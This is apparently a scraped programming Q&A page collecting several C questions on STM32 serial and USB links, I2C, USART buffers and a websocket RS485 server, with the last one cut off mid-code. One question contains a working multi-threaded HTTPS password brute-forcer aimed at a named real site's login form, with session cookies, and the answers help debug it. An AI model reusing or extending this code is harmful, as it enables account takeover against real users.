TERMIOS C Program to communicate with STM32F103 µC - c

I am on stm32f103c8t6 with STDP-Lib, using stm32's usb library for virtual com port and wanna to talk with the µC via termios-Pc-program. The termios program can read the data the chip is sending via USB, but when I wanna answer, the chip is not reacting on the data I send. What am I doing wrong when sending?
The termios-program:
#include <stdio.h>
#include <unistd.h>
#include <termios.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
typedef union {
int num;
char part[2];
} _16to8;
static void sendData(int tty, unsigned char c) {
write(tty, &c, 1);
}
static unsigned char readData(int tty) {
unsigned char c;
while(read(tty, &c, 1) <= 0);
return c;
}
static unsigned char* readALotOfData(int tty, int len) {
unsigned char* c = NULL;
c = calloc(len, sizeof(unsigned char));
for(int i = 0; i < len; i++) {
c[i] = readData(tty);
}
return c;
}
static void sendCmd(int tty, char* c, size_t len) {
unsigned char* a = NULL;
int i = 0;
a = calloc(len, sizeof(unsigned char));
memcpy(a, c, len);
for(; i < len; i++) {
sendData(tty, a[i]);
}
free(a);
a = NULL;
}
int main(int argc, char** argv) {
struct termios tio;
int tty_fd;
FILE* fd;
struct stat st;
unsigned char c;
unsigned char* buf = NULL;
buf = calloc(4096, sizeof(unsigned char));
memset(&tio, 0, sizeof(tio));
tio.c_cflag = CS8;
tty_fd = open(argv[1], O_RDWR | O_NONBLOCK);
if(tty_fd == -1) {
printf("failed to open port\n");
return 1;
}
char mode;
if(!strcmp(argv[2], "flash")) {
mode = 1;
fd = fopen(argv[3], "r");
if(fd == NULL) {
printf("failed to open file\n");
return 1;
}
} else if(!strcmp(argv[2], "erase")) {
mode = 0;
} else {
printf("unknown operation mode\n");
return 1;
}
cfsetospeed(&tio, B115200);
cfsetispeed(&tio, B115200);
tcsetattr(tty_fd, TCSANOW, &tio);
unsigned char* id = readALotOfData(tty_fd, 20);
printf("%s\n", id);
if(strstr((const char*)id, "1234AABBCC1234")) {
sendCmd(tty_fd, "4321CCBBAA4321", 14);
printf("id verified\n");
} else {
printf("Could not identify device\n");
return 1;
}
if(mode) {
printf("going to flash the device\n");
sendCmd(tty_fd, "\xF1\xA5", 2);
stat(argv[3], &st);
int siz = st.st_size;
char sizR[2] = "\0";
sizR[1] = (unsigned char)(siz & 0xFF);
sizR[0] = (unsigned char)(siz >> 8);
_16to8 num = {0};
num.part[0] = sizR[0];
num.part[1] = sizR[1];
sendCmd(tty_fd, (char*)&num.num, 2);
char buffer[2] = {0};
int i = 0;
while(fread(&buffer, 1, 4, fd)) {
// sendCmd(tty_fd, buffer, 4);
// printf("%s\n", readALotOfData(tty_fd, 5));
}
} else {
printf("going to erase the device's memory\n");
sendCmd(tty_fd, (char*)0xE2A5, 2);
}
close(tty_fd);
return 0;
}
µCProgram:
#include "stm32f10x_conf.h"
#include "main.h"
void eraseFlashPage(uint8_t page) {
uint32_t addr = FLASH_ADDR + 0x400 * page;
FLASH_Unlock();
FLASH_ClearFlag(FLASH_FLAG_PGERR | FLASH_FLAG_WRPRTERR | FLASH_FLAG_EOP);
FLASH_ErasePage(addr);
FLASH_Lock();
}
void writeFlashAddr(uint8_t page, uint16_t offset, uint32_t data) {
uint32_t addr = FLASH_ADDR + 0x400 * page + offset;
FLASH_Unlock();
FLASH_ClearFlag(FLASH_FLAG_PGERR | FLASH_FLAG_WRPRTERR | FLASH_FLAG_EOP);
FLASH_ProgramWord(addr, (uint32_t)data);
FLASH_Lock();
}
uint32_t readFlashAddr(uint8_t page) {
uint32_t addr = FLASH_ADDR + 0x400 * page;
return *(uint32_t*)addr;
}
void TIM2_IRQHandler() {
static int count = 0;
if(TIM_GetITStatus(TIM2, TIM_IT_Update) != RESET) {
TIM_ClearITPendingBit(TIM2, TIM_IT_Update);
if(mode) {
if(count == 2) {
count = 0;
GPIO_ToggleBits(GPIOA, GPIO_Pin_15);
}
count++;
} else {
GPIO_ToggleBits(GPIOA, GPIO_Pin_15);
}
}
}
int main() {
Set_System();
Set_USBClock();
USB_Interrupts_Config();
USB_Init();
RCC_APB2PeriphClockCmd(RCC_APB2Periph_AFIO, ENABLE);
RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE);
GPIO_PinRemapConfig(GPIO_Remap_SWJ_JTAGDisable, ENABLE);
GPIO_InitTypeDef gpioStruct;
gpioStruct.GPIO_Pin = GPIO_Pin_15;
gpioStruct.GPIO_Mode = GPIO_Mode_Out_PP;
gpioStruct.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_Init(GPIOA, &gpioStruct);
GPIO_WriteBit(GPIOA, GPIO_Pin_15, Bit_RESET);
RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM2, ENABLE); // 200Hz -> 8Hz
TIM_TimeBaseInitTypeDef timStruct;
timStruct.TIM_Prescaler = 60000;
timStruct.TIM_CounterMode = TIM_CounterMode_Up;
timStruct.TIM_Period = 50; // ISR at 0.125s
timStruct.TIM_ClockDivision = TIM_CKD_DIV4;
timStruct.TIM_RepetitionCounter = 0;
TIM_TimeBaseInit(TIM2, &timStruct);
TIM_Cmd(TIM2, ENABLE);
TIM_ITConfig(TIM2, TIM_IT_Update, ENABLE);
NVIC_InitTypeDef nvicStruct;
nvicStruct.NVIC_IRQChannel = TIM2_IRQn;
nvicStruct.NVIC_IRQChannelPreemptionPriority = 0;
nvicStruct.NVIC_IRQChannelSubPriority = 1;
nvicStruct.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&nvicStruct);
_delay_ms(500);
while(1) {
mode = 0;
Receive_length = 0;
char bootID[64];
for(volatile uint32_t cnt = 0; cnt < 4800 * 5000 / 4 / 25; cnt++) {
_printf("1234AABBCC1234");
CDC_Receive_DATA();
if(Receive_length >= 14) {
_gets((char*)&bootID, 14);
if(!memcmp(bootID, "4321CCBBAA4321", 14)) {
mode = 1;
break;
}
Receive_length = 0;
}
}
if(mode) {
uint32_t opt = 0;
_printf("operating mode?\n"); //debug
_gets((char*)&opt, 2);
if(opt == 0xF1A5) {
uint32_t len = 0;
uint32_t data = 0;
uint16_t i = 0;
_gets((char*)&len, 2);
_printf("writing %d/%d bytes starting at 0x%x\n", len, (117 - START_PAGE) * 1024, FLASH_ADDR); // debug
if(len < (117 - START_PAGE) * 1024) { // 117 or 64?
_printf("start writing to flash\n"); //debug
for(i = 0; i <= len / 1024; i++) {
eraseFlashPage(i);
_printf("erasing page %d\n", i); //debug
}
for(i = 0; i < len; i += 4) {
uint8_t page = i / 1024;
_printf("i:%d page:%d offset:%d\n", i, page, i - page * 1024); // debug
_gets((char*)&data, 4);
writeFlashAddr(page, i - page * 1024, data);
_printf("Page %d and 0x%x\n", page, FLASH_ADDR + 0x400 * page + i - page * 1024); // debug
}
_printf("done\n"); //debug
uint32_t sp = *(uint32_t*) FLASH_ADDR;
if((sp & 0x2FFF0000) == 0x20000000) {
TIM_Cmd(TIM2, DISABLE);
GPIO_WriteBit(GPIOA, GPIO_Pin_15, Bit_RESET);
NVIC->ICER[0] = 0xFFFFFFFF;
NVIC->ICER[1] = 0xFFFFFFFF;
NVIC->ICPR[0] = 0xFFFFFFFF;
NVIC->ICPR[1] = 0xFFFFFFFF;
PowerOff();
pFunction jmpUser;
uint32_t jmpAddr = *(__IO uint32_t*)(FLASH_ADDR + 4);
jmpUser = (pFunction)jmpAddr;
__set_MSP(*(__IO uint32_t*)FLASH_ADDR);
jmpUser();
}
} else {
_printf("not enought flash space available\n"); //debug
}
} else if(opt == 0xE2A5) {
for(int i = 0; i < (117 - START_PAGE); i++) {
eraseFlashPage(i);
_printf("erasing page %d\n", i); //debug
}
}
} else {
uint32_t sp = *(uint32_t*) FLASH_ADDR;
if((sp & 0x2FFF0000) == 0x20000000) {
TIM_Cmd(TIM2, DISABLE);
GPIO_WriteBit(GPIOA, GPIO_Pin_15, Bit_RESET);
NVIC->ICER[0] = 0xFFFFFFFF;
NVIC->ICER[1] = 0xFFFFFFFF;
NVIC->ICPR[0] = 0xFFFFFFFF;
NVIC->ICPR[1] = 0xFFFFFFFF;
PowerOff();
pFunction jmpUser;
uint32_t jmpAddr = *(__IO uint32_t*)(FLASH_ADDR + 4);
jmpUser = (pFunction)jmpAddr;
__set_MSP(*(__IO uint32_t*)FLASH_ADDR);
jmpUser();
}
}
}
}
I want to send the identification string and then enter the operations.... A friend of me got a working program with serialport-lib usage, but I wanna use termios...
Anyone an idea why the controller is not reacting on the sent data?

Related

How to setup stop condition on VEML7700 through I2C library? I am not getting the ACK from reading

int I2C_Master_ReadReg(unsigned char dev_addr, unsigned char reg_addr, unsigned char count, unsigned char *pData, void (* Sub)(void)) {
uint8_t cnt;
start();
sda(dev_addr);
if (!(dev_addr == 0x10)) {
cnt = 0;
}
if (count > 0x05) {
cnt = 0;
}
if (clk() == 1) {
I2C_Ack_Error(1);
return -1;
}
sda(reg_addr + 0);
if (clk() == 1) {
I2C_Ack_Error(2);
return -2;
}
start();
sda(dev_addr + 1);
if (clk() == 1) {
I2C_Ack_Error(3);
return -3;
}
for (cnt = 0; cnt < count; ++cnt) {
*(pData + cnt) = read();
//printf("D: %x\n\r", read());
if (clk() == 0) {
I2C_Ack_Error(4);
return -4;
}
stop();
}
return 0;
}

OpenSSL C Multi-Threaded Client Segmentation Fault

I have a problem with one of my multi-threaded client, this is the full code, it is basically a bruteforcer:
#include <unistd.h>
#include <sys/types.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/bio.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#define N 10
#define EXT ".txt"
#define BUFFER_SIZE 1024000
//#define CA_DIR "/home/Scrivania/SRBF/mycert"
#define SIZE 67
char * letters[SIZE] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z",
"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",
".","_","1","2","3","4","5","6","7","8","9","0","!","#","$"};
char * word4[] = {"A","A","A","A"};
int isMatch(char * buffer)
{
if(buffer == NULL)
{
return 0;
}
strtok(buffer, " ");
char * tok = strtok(NULL," ");
if(tok == NULL)
{
return 0;
}
if(strcmp(tok, "302") == 0)
{
return 1;
}
return 0;
}
void init_openssl()
{
SSLeay_add_ssl_algorithms();
SSL_load_error_strings();
SSL_library_init();
ERR_load_BIO_strings();
OpenSSL_add_all_algorithms();
}
BIO * connect_encrypted(char * host_and_port, SSL_CTX** ctx, SSL ** ssl)
{
BIO * bio = NULL;
*ctx = SSL_CTX_new(TLS_client_method());
*ssl = NULL;
/* int r = 0;
r = SSL_CTX_load_verify_locations(*ctx, NULL , CA_DIR);
if(r == 0)
{
return NULL;
}*/
bio = BIO_new_ssl_connect(*ctx);
BIO_get_ssl(bio, ssl);
SSL_set_mode(*ssl, SSL_MODE_AUTO_RETRY);
BIO_set_conn_hostname(bio, host_and_port);
if(BIO_do_connect(bio)< 1)
{
fprintf(stderr,"Unable to connect BIO. %s", host_and_port);
return NULL;
}
return bio;
}
int write_to_stream(BIO* bio, char * buffer, ssize_t length)
{
ssize_t r = -1;
while(r <= 0)
{
r = BIO_write(bio, buffer, length);
}
return r;
}
ssize_t read_from_stream(BIO * bio, char * buffer, ssize_t length)
{
ssize_t r = -1;
while(r <= 0)
{
r = BIO_read(bio, buffer, length);
}
return r;
}
char * username;
char * usrp;
char * pwdp;
char * uri;
void SendRequest(char * word)
{
char * host_and_port = "site.com:443";
char * server_request = malloc(sizeof(char)*BUFFER_SIZE);
char * buffer = malloc(sizeof(char)*BUFFER_SIZE);
int r = 0;
int r2 = 0;
sprintf(server_request, "POST %s HTTP/1.1\r\n"
"Host: www.annunci69.it\r\n"
"Cookie:__cfduid=d559ac43d2cc4e294b93e14699ab4f0071544273037; PHPSESSID=qjjrvg2j6nq2babbn1am3itac5; A69_regione=Sicilia; Doublech=1956935; A69_becomeavip=1; A69_onlinetimes=2; A69_tipsMASTER=1; A69_tips[listabannati]=listabannati; getgeo=1\r\n"
"User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 44\r\n"
"Connection: close\r\n"
"\r\n"
"%s=%s&%s=%s&login=Entra", uri, usrp, username, pwdp, word);
BIO * bio;
SSL_CTX * ctx = NULL;
SSL * ssl = NULL;
if ((bio = connect_encrypted(host_and_port, &ctx, &ssl)) == NULL)
{
fprintf(stderr, "Error in connect\n");
exit(EXIT_FAILURE);
}
while(r <= 0)
{
r = write_to_stream(bio, server_request, strlen(server_request));
}
while(r2 <= 0)
{
r2 = read_from_stream(bio, buffer, BUFFER_SIZE);
}
SSL_CTX_free(ctx);
free(server_request);
if(isMatch(buffer) == 1)
{
printf("Password -> %s", word);
exit(EXIT_SUCCESS);
}
free(buffer);
}
_Bool passaggio1(char * word[], int n)
{
for(int i = 0; i < SIZE; i++)
{
for(int j = 0, c = 0; j < n; j++)
{
if(word[j] == letters[i])
{
c++;
if(c > 3)
{
return 1;
}
}
}
}
return 0;
}
char *lastword[12];
_Bool passaggio2(char *word[], int n)
{
int count = 0;
for(int i = 0; i <= n; i++)
{
if(lastword[i] == word[i])
{
count++;
}
}
if(count > n-2)
{
return 1;
}
return 0;
}
int Write(char * word[], char * buffer, int n)
{
if(passaggio1(word, n) == 1 || passaggio2(word, n) == 1)
{
return 1;
}
for(int i = 0; i <= n; i++)
{
if(i == 0)
{
strcpy(buffer,word[i]);
}
strcat(buffer, word[i]);
lastword[i] = word[i];
}
return 0;
}
void four_Digits(char * word[], char * letters[])
{
for(int i = 0; i < SIZE; i++)
{
word[0] = letters[i];
for(int j = 0; j < SIZE ;j++)
{
word[1] = letters[j];
for(int k = 0; k < SIZE; k++)
{
word[2] = letters[k];
for(int l = 0; l < SIZE;l++)
{
word[3] = letters[l];
char * buffer = malloc(sizeof(char)*64);
if((Write(word, buffer, 3)) == 0)
{
printf("Trying: %s\n", buffer);
SendRequest(buffer);
}
free(buffer);
}
}
}
}
}
void * handler1(void * args)
{
four_Digits(word4, letters);
pthread_exit(0);
}
int main(int argc, char * argv[])
{/*
if(argc < 2)
{
fprintf(stderr ,"\nUsage: srbf username \n");
exit(EXIT_FAILURE);
}*/
username = "username"; //argv[1];
uri = malloc(sizeof(char)*32);
usrp = malloc(sizeof(char)*16);
pwdp = malloc(sizeof(char)*16);
printf("Insert URI\n");
scanf("%s", uri);
printf("Insert username parameter\n");
scanf("%s", usrp);
printf("Insert password parameter\n");
scanf("%s", pwdp);
int res;
pthread_t tid;
init_openssl();
res = pthread_create(&tid,NULL, handler1,0);
if(res != 0)
{
fprintf(stderr,"Thread Creation Failed\n");
exit(EXIT_FAILURE);
}
res = pthread_join(tid, 0);
if(res != 0)
{
fprintf(stderr, "Thread join failed\n");
exit(EXIT_FAILURE);
}
free(uri);
free(usrp);
free(pwdp);
exit(EXIT_SUCCESS);
}
when i do gdb main the program keeps running normally for some seconds, then i get segmentation fault with this error:
Thread 10 "main" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffedffb700 (LWP 13328)]
0x00007ffff71628e0 in __GI__IO_fwrite (buf=0x5555555585ff, size=1, count=17,
fp=0x55555555834e) at iofwrite.c:37
37 iofwrite.c: File or directory not existing.
Then i type the command bt and this is what i get:
#0 0x00007ffff71628e0 in __GI__IO_fwrite (buf=0x5555555585ff, size=1,
count=17, fp=0x55555555834e) at iofwrite.c:37
#1 0x0000555555556127 in SendRequest ()
#2 0x00005555555569cd in twelve_Digits ()
#3 0x0000555555557d43 in handler9 ()
#4 0x00007ffff74db6db in start_thread (arg=0x7fffedffb700)
at pthread_create.c:463
#5 0x00007ffff720488f in clone ()
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
I posted the full code cause i'm really confused and i can't understand this error, can someone pls help me? Is it related to OpenSSL? What do i need to change? I will provide more informations if necessary.
You have lots of undefined behaviour.
Just an example:
Your function seven_Digits accesses 7 elements of the array passed as first parameter.
But you pass only an array with 4 strings:
char * word4[] = {"A","A","A","A"};
...
seven_Digits(word4, letters);
This is an out of bounds access causing undefined bahaviour.
Similar behaviour for other handlers calling other functions with same array.
if you use openssl with multithread you must deal with criticialsections.
declare some global variables
int number_of_locks = 0;
ssl_lock *ssl_locks = nullptr;
get the number of locks with CRYPTO_num_locks()
number_of_locks = CRYPTO_num_locks();
if(number_of_locks > 0)
{
ssl_locks = (ssl_lock*)malloc(number_of_locks * sizeof(ssl_lock));
for(int n = 0; n < number_of_locks; ++n)
InitializeCriticalSection(&ssl_locks[n]);
}
initialize callbacks functions names
CRYPTO_set_locking_callback(&ssl_lock_callback);
CRYPTO_set_dynlock_create_callback(&ssl_lock_dyn_create_callback);
CRYPTO_set_dynlock_lock_callback(&ssl_lock_dyn_callback);
CRYPTO_set_dynlock_destroy_callback(&ssl_lock_dyn_destroy_callback);
implement them
void ssl_lock_callback(int mode, int n, const char *file, int line)
{
if(mode & CRYPTO_LOCK)
EnterCriticalSection(&ssl_locks[n]);
else
LeaveCriticalSection(&ssl_locks[n]);
}
CRYPTO_dynlock_value* ssl_lock_dyn_create_callback(const char *file, int line)
{
CRYPTO_dynlock_value *l = (CRYPTO_dynlock_value*)malloc(sizeof(CRYPTO_dynlock_value));
InitializeCriticalSection(&l->lock);
return l;
}
void ssl_lock_dyn_callback(int mode, CRYPTO_dynlock_value* l, const char *file, int line)
{
if(mode & CRYPTO_LOCK)
EnterCriticalSection(&l->lock);
else
LeaveCriticalSection(&l->lock);
}
void ssl_lock_dyn_destroy_callback(CRYPTO_dynlock_value* l, const char *file, int line)
{
DeleteCriticalSection(&l->lock);
free(l);
}

STM32F103RB Nucleo transmit and receive usart

I have some problems with transmiting and receiving using usart. First informations that I want transmit are writen to circle buffer. Then indormations are send but some informations are lost.
Variables
enum {
BUF_SIZE = 100
};
char BUF_T[BUF_SIZE], BUF_R[BUF_SIZE];
uint8_t R_EMPTY = 0, R_BUSY = 0, T_EMPTY = 0, T_BUSY = 0;
Transmiting
void Send(void) {
uint8_t index = T_EMPTY;
for (int i = 0; i < 10; i++) {
BUF_T[index] = i+'0';
index++;
if (index >= BUF_SIZE) {
index = 0;
}
}
__disable_irq();
if (T_BUSY == T_EMPTY
&& __HAL_UART_GET_FLAG(&huart2,UART_FLAG_TXE) == SET) {
T_EMPTY = index;
T_BUSY++;
uint8_t tmp = BUF_T[T_BUSY];
if (T_BUSY >= BUF_SIZE) {
T_BUSY = 0;
}
HAL_UART_Transmit_IT(&huart2, (uint8_t*) &tmp, 1);
} else {
T_EMPTY = index;
}
__enable_irq();
}
void HAL_UART_TxCpltCallback(UART_HandleTypeDef *huart) {
//if (huart->Instance == USART2) {
if (T_BUSY != T_EMPTY) {
__disable_irq();
T_BUSY++;
uint8_t tmp = BUF_T[T_BUSY];
if (T_BUSY >= BUF_SIZE) {
T_BUSY = 0;
}
HAL_UART_Transmit_IT(&huart2, (uint8_t*) &tmp, 1);
__enable_irq();
}else {
Send();
}
//}
}
Screen from hterm
On picture can be seen that from time to time one char is lost. I don't understant why?
Regarding receiving can somebody tell mi if it OK?
void HAL_UART_RxCpltCallback(UART_HandleTypeDef *huart) {
//if (huart->Instance == USART2) {
uint8_t tmp = BUF_R[R_EMPTY];
R_EMPTY++;
if (R_EMPTY >= BUF_SIZE) {
R_EMPTY = 0;
}
HAL_UART_Receive_IT(&huart2, (uint8_t*) &tmp, 1);
//}
}

C websocket disconnected

I've a problem with websocket. I have a particular need, so, sniffer continuous serial port (rs485) and send any data to the clients.
I've found many help in internet and my written program work correctly.
I have one last problem that I can not fix. Often the server for no reason close the connection whith all clients and exit from c program.
I had to create a virtual buffer to ensure that there are data for all threads, because once you read the buffer of the serial it is emptied.
Websocket server is in C, websocket clients is in php/js.
I'm sorry for my orrible english.
This is my client:
var server_connection;
var rs485_connection;
var ping_serverconnection;
var ping_rs485connection
var sockethide=true;
window.addEventListener("beforeunload", function (e) { socketConnection_close(); });
function socketConnection_open() {
server_socketConnect();
rs485_socketConnect();
}
function server_socketConnect() {
server_connection = new WebSocket('ws://192.168.2.8:5000');
server_connection.onopen = function () { serverOpened(); console.log('SERVER Connected!');};
server_connection.onerror = function (error) { console.log('WebSocket Error ' + error); };
server_connection.onmessage = function(e) { serverReceive(e.data); };
server_connection.onclose = function(e) { serverClosed(); console.log('SERVER Disconnected!'); };
ping_serverconnection=setInterval(function() {server_connection.send("ping");},5000);
}
function rs485_socketConnect() {
rs485_connection = new WebSocket('ws://192.168.2.8:5001',"DomoProtocol");
rs485_connection.onopen = function () { rs485Opened(); console.log('RS485 Connected!'); /*server_socketConnect()*/;};
rs485_connection.onerror = function (error) { console.log('WebSocket Error ' + error); };
rs485_connection.onmessage = function(e) { rs485Receive(e.data); };
rs485_connection.onclose = function(e) { rs485Closed(); console.log('RS485 Disconnected!'); };
//ping_rs485connection=setInterval(function() {rs485_connection.send("ping");},10000);
}
function socketConnection_close() {
//clearInterval(ping_serverconnection);
clearInterval(ping_rs485connection);
//server_connection.send("exit");
rs485_connection.send("exit");
for(i=0;i<100000;i++);
rs485_connection.close(); rs485_connection='';
server_connection.close(); server_connection='';
}
function serverOpened() {
document.getElementById("serverlightid").src=urlbase+"/images/icons/green.png";
}
function rs485Opened() {
document.getElementById("rs485lightid").src=urlbase+"/images/icons/green.png";
}
function serverClosed() {
server_connection.close(); server_connection='';
document.getElementById("serverlightid").src=urlbase+"/images/icons/red.png";
//server_socketConnect();
}
function rs485Closed() {
rs485_connection.close(); rs485_connection='';
document.getElementById("rs485lightid").src=urlbase+"/images/icons/red.png";
}
function socketexpand() {
if (sockethide) {
document.getElementById("socketDivId").style.width="500px";
document.getElementById("socketDivId").style.height="400px";
document.getElementById("socketexpandid").style.display="none";
document.getElementById("sockethideid").style.display="inline";
sockethide=false;
} else {
document.getElementById("socketDivId").style.width="80px";
document.getElementById("socketDivId").style.height="25px";
document.getElementById("socketexpandid").style.display="inline";
document.getElementById("sockethideid").style.display="none";
sockethide=true;
}
}
// *******************************************************************************************************
function serverReceive(msg) { alert("Dato Ricevuto server:"+msg); }
function server_connection_send(msg) {
server_connection.send(msg);
var node = document.createElement("span");
var textnode = document.createTextNode(msg+" ");
node.appendChild(textnode);
document.getElementById("serversocketdivid").appendChild(node);
}
function rs485Receive(msg) {
//var content=document.getElementById("rs485socketdivid");
var node = document.createElement("span");
var textnode = document.createTextNode(msg+" ");
node.appendChild(textnode);
document.getElementById("rs485socketdivid").appendChild(node);
//alert("Dato Ricevuto 485:"+msg);
}
function rs485_connection_send(msg) {
rs485_connection.send(msg);
var node = document.createElement("span");
var textnode = document.createTextNode(msg+" ");
node.appendChild(textnode);
document.getElementById("serversocketdivid").appendChild(node);
}
And this is my server in c:
#include<stdint.h>
#include<stdarg.h>
#include<stdio.h>
#include<math.h>
#include<string.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<unistd.h>
//for threading , link with lpthread
#include<pthread.h>
//for SHA1 + BASE64
#include <openssl/sha.h>
const char *BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
//for serial
#include <termios.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#define MAX_BUFFER 1000
#define DELAYTOSEND 1000000
#define MAX_CONNECTION 10
void *connection_handler(void *);
void *connection_handler_master(void *);
int serialBuffer[MAX_BUFFER];
long arg;
int main(int argc , char *argv[])
{
int socket_desc , new_socket , c , *new_sock, i;
struct sockaddr_in server , client;
char client_message[2000], query[200]="";
char *message, *token, *key;
unsigned char obuf[20];
unsigned char b64[100];
//thread MASTER
for(i=0;i<(MAX_BUFFER+1);i++) serialBuffer[i]=-1;
pthread_t sniffer_thread;
new_sock = malloc(1);
*new_sock = new_socket;
if( pthread_create( &sniffer_thread , NULL , connection_handler_master , (void*) new_sock) < 0) {
perror("Non posso creare il Thread MASTER");
return 1;
}
puts("Thread MASTER creato");
//Create socket
socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1) {
printf("Impossibile creare un socket");
}
//Prepare the sockaddr_in structure
server.sin_family = AF_INET; //IPv4
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons( 5001 );
//Bind
if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0) {
puts("bind fallito");
return 1;
}
puts("bind OK");
//Listen
listen(socket_desc , MAX_CONNECTION);
//Accept and incoming connection
puts("In attesa di connessione...");
c = sizeof(struct sockaddr_in);
while( (new_socket = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c)) ) {
puts("Connessione accetata");
recv(new_socket, client_message , 2000 , 0);
token=strtok(client_message,"\r\n");
//DEBUG while(token) { printf( "--------->: %s\n", token ); token=strtok(NULL,"\r\n"); } printf("----------------------------------------\r\n");
while(token != NULL) {
if(!strncmp(token,"Sec-WebSocket-Key:",18)) break; //printf( "%s\n", token );
token=strtok(NULL,"\r\n");
}
key=strtok(token," ");
key=strtok(NULL," ");
strcat(key,"258EAFA5-E914-47DA-95CA-C5AB0DC85B11");
SHA1(key,strlen(key),obuf);
base64_encode(obuf,20,b64,100);
printf( "KEY: %s\n", key );
printf( "B64: %s\n", b64 );
strcat(query,"HTTP/1.1 101 Switching Protocols\r\n");
strcat(query,"Upgrade: Websocket\r\n");
strcat(query,"Connection: Upgrade\r\n");
strcat(query,"Sec-Websocket-Protocol:DomoProtocol\r\n");
strcat(query,"Sec-WebSocket-Accept: ");
strcat(query,b64);
strcat(query,"\r\n\r\n");
//DEBUG puts(token);
printf( "%s\n", query );
write(new_socket , query , strlen(query));
query[0]='\0';
pthread_t sniffer_thread;
new_sock = malloc(1);
*new_sock = new_socket;
if( pthread_create( &sniffer_thread , NULL , connection_handler , (void*) new_sock) < 0) {
perror("Non posso creare il thread");
return 1;
}
puts("Thread creato, Handler assegnato");
printf("new_sock:%i\r\n",new_sock);
}
if (new_socket<0) {
perror("Connessione rifiutata");
return 1;
}
puts("uscita1");
return 0;
}
/**
* encode three bytes using base64 (RFC 3548)
*/
void _base64_encode_triple(unsigned char triple[3], char result[4]) {
int tripleValue, i;
tripleValue = triple[0];
tripleValue *= 256;
tripleValue += triple[1];
tripleValue *= 256;
tripleValue += triple[2];
for (i=0; i<4; i++) { result[3-i] = BASE64_CHARS[tripleValue%64]; tripleValue /= 64; }
}
/**
* encode an array of bytes using Base64 (RFC 3548)
* return 1 on success, 0 otherwise
*/
int base64_encode(unsigned char *source, size_t sourcelen, char *target, size_t targetlen) {
if ((sourcelen+2)/3*4 > targetlen-1) return 0;
/* encode all full triples */
while (sourcelen >= 3) {
_base64_encode_triple(source, target);
sourcelen -= 3;
source += 3;
target += 4;
}
if (sourcelen > 0) {
unsigned char temp[3];
memset(temp, 0, sizeof(temp));
memcpy(temp, source, sourcelen);
_base64_encode_triple(temp, target);
target[3] = '=';
if (sourcelen == 1) target[2] = '=';
target += 4;
}
target[0] = 0;
return 1;
}
/**
* determine the value of a base64 encoding character
* return the value in case of success (0-63), -1 on failure
*/
int _base64_char_value(char base64char) {
if (base64char >= 'A' && base64char <= 'Z') return base64char-'A';
if (base64char >= 'a' && base64char <= 'z') return base64char-'a'+26;
if (base64char >= '0' && base64char <= '9') return base64char-'0'+2*26;
if (base64char == '+') return 2*26+10;
if (base64char == '/') return 2*26+11;
return -1;
}
/**
* decode a 4 char base64 encoded byte triple
* return lenth of the result (1, 2 or 3), 0 on failure
*/
int _base64_decode_triple(char quadruple[4], unsigned char *result) {
int i, triple_value, bytes_to_decode = 3, only_equals_yet = 1;
int char_value[4];
for (i=0; i<4; i++) char_value[i] = _base64_char_value(quadruple[i]);
for (i=3; i>=0; i--) {
if (char_value[i]<0) {
if (only_equals_yet && quadruple[i]=='=') {
char_value[i]=0;
bytes_to_decode--;
continue;
}
return 0;
}
only_equals_yet = 0;
}
if (bytes_to_decode < 0) bytes_to_decode = 0;
triple_value = char_value[0]; triple_value *= 64;
triple_value += char_value[1]; triple_value *= 64;
triple_value += char_value[2]; triple_value *= 64;
triple_value += char_value[3];
for (i=bytes_to_decode; i<3; i++) triple_value /= 256;
for (i=bytes_to_decode-1; i>=0; i--) { result[i] = triple_value%256; triple_value /= 256; }
return bytes_to_decode;
}
/**
* decode base64 encoded data
* return length of converted data on success, -1 otherwise
*/
size_t base64_decode(char *source, unsigned char *target, size_t targetlen) {
char *src, *tmpptr;
char quadruple[4], tmpresult[3];
int i, tmplen = 3;
size_t converted = 0;
src = (char *)malloc(strlen(source)+5);
if (src == NULL) return -1;
strcpy(src, source);
strcat(src, "====");
tmpptr = src;
while (tmplen == 3) {
for (i=0; i<4; i++) {
while (*tmpptr != '=' && _base64_char_value(*tmpptr)<0) tmpptr++;
quadruple[i] = *(tmpptr++);
}
tmplen = _base64_decode_triple(quadruple, tmpresult);
if (targetlen < tmplen) { free(src); return -1; }
memcpy(target, tmpresult, tmplen);
target += tmplen;
targetlen -= tmplen;
converted += tmplen;
}
free(src);
return converted;
}
/*
* Serial Open
*/
int serialOpen (char *device, int baud) {
struct termios options ;
speed_t myBaud ;
int status, fd ;
if ((fd = open (device, O_RDWR | O_NOCTTY | O_NDELAY | O_NONBLOCK)) == -1) return -1 ;
fcntl (fd, F_SETFL, O_RDWR) ;
tcgetattr (fd, &options) ;
cfmakeraw (&options) ;
cfsetispeed (&options, B115200) ;
cfsetospeed (&options, B115200) ;
options.c_cflag |= (CLOCAL | CREAD) ;
options.c_cflag &= ~PARENB ;
options.c_cflag &= ~CSTOPB ;
options.c_cflag &= ~CSIZE ;
options.c_cflag |= CS8 ;
